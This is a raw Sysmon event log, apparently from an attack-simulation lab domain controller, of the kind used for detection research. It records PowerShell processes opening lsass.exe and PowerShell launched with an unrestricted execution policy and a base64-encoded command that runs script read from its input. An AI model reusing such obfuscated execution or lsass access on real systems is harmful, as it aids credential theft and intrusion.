09:10:29.146{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003339Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.146{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003338Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.146{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2905-5F80-A900-000000007F01}4708C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003337Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.146{A5F018FF-2905-5F80-A800-000000007F01}12724988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2905-5F80-A900-000000007F01}4708C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd4e32a9(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc984133(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc983e04(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd435469(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc94499a(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9a2e69(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9864ce(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9864ce(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc98635f(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9782e4(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc984817(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc98440a(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc984133(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc983e04(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd435469(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc96ac65(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc96a235(wow64) 154100x80000000000000003336Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.147{A5F018FF-2905-5F80-A900-000000007F01}4708C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2904-5F80-EA04-060000000000}0x604ea0HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2905-5F80-A800-000000007F01}1272C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000003335Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.084{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2905-5F80-A800-000000007F01}1272C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003334Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.084{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2905-5F80-A800-000000007F01}1272C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003333Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.053{A5F018FF-2905-5F80-A800-000000007F01}1272C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_as3v2csz.rjn.ps12020-10-09 09:10:29.053 10341000x80000000000000003332Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.037{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-2905-5F80-A800-000000007F01}1272C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003331Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.021{A5F018FF-2904-5F80-A600-000000007F01}43923532C:\Windows\system32\conhost.exe{A5F018FF-2905-5F80-A800-000000007F01}1272C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003330Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003329Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003328Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003327Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.021{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003326Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003325Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.021{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003324Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003323Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003322Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 